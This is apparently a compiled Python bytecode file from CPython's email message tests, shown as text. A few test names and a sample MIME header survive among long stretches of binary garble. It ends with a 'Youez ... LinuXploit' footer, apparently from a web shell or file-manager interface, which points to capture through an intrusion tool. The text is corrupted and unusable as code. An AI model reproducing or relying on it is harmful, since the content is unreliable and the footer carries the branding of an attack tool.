rrr+r�rrsrfr$rr,rUrp�rstrip)	r!�falsey�pol�subj�bodyrY�raw�parsed�parsed_bodys	         rr��4TestEmailMessage.do_test_no_wrapping_max_line_length�s������� ��n�n�"�"�6�"�:�������#�&�� ��F����D�	��I��������l�l�n�������F�	H�$�C����?������	�*�D�1��o�o�'�3�3�5�<�<�T�B������+rc�r�[R"S5nURU5nUR5 g)ztest for bpo-42892a'            Message-ID: <674392CA.4347091@email.au>
            Date: Wed, 08 Nov 2017 08:50:22 +0700
            From: Foo Bar <email@email.au>
            MIME-Version: 1.0
            To: email@email.com <email@email.com>
            Subject: Python Email
            Content-Type: multipart/mixed;
            boundary="------------879045806563892972123996"
            X-Global-filter:Messagescannedforspamandviruses:passedalltests

            This is a multi-part message in MIME format.
            --------------879045806563892972123996
            Content-Type: text/plain; charset=ISO-8859-1; format=flowed
            Content-Transfer-Encoding: 7bit

            Your message is ready to be sent with the following file or link
            attachments:
            XU89 - 08.11.2017
            N)r)r*rrU)r!rYr"s   r�test_get_body_malformed�(TestEmailMessage.test_get_body_malformed	s0���o�o����(
�M�M�#���	
�
�
�rc��[S5nUR5nURSS5 URU5 UR	URSS9U5 g)NsSome payloadzContent-Transfer-Encodingzquoted-printableTr)�
memoryviewr�
add_headerr�r,r�)r!r�r"s   r�5test_get_bytes_payload_with_quoted_printable_encoding�FTestEmailMessage.test_get_bytes_payload_with_quoted_printable_encoding$sS���_�-����� ��	���0�2D�E�	�
�
�g��������d��3�W�=rr
N) r0r1r2r3rr�r%r+r-r6r;r@rCrGrLrOrRrUrXr[r^rarhrnrsrwr|r�r�r�r�r4r
rrrr
s����G�3�(�(�3�E��@�>�:�
Q�"Q� Q� R� @�+� O�"M�(	D�D�D�D�D�<�,�(�6>rrc�$�\rSrSr\rSrSrSrg)�TestMIMEParti.c��URS5nUR5nURSU5 URUS9 URSU5 g)Nrr"rx)rrur$rsr�s   r�*test_set_content_does_not_add_MIME_Version�7TestMIMEPart.test_set_content_does_not_add_MIME_Version4sL���M�M�"���
�
%�
%�
'�������+�	�
�
�b�
�)������+rc��[[R"S5[RS9nUR5nUR
[U5/5 g)NzT        Content-Type: multipart/mixed; charset="utf-8"

        sample text
        r&)rr)r*rr+r`r,rS)r!rYrWs   r�/test_string_payload_with_multipart_content_type�<TestMIMEPart.test_string_payload_with_multipart_content_type;sJ��!�(�/�/�3�#
��^�^�	%��
�*�*�,������k�*�B�/rr
N)	r0r1r2r3rr�r�r�r4r
rrr�r�.s���G�,�0rr��__main__)r)�unittest�emailrrr�
email.messagerr�test.test_emailrr	rrr6rr�r0�mainr
rr�<module>r�s����A�A�0�7�A�/�=�/�2�c,�c,��c,�L^>�+�]�^>�B	0�'��0�.�z���M�M�O�r

Youez - 2016 - github.com/yon3zu
LinuXploit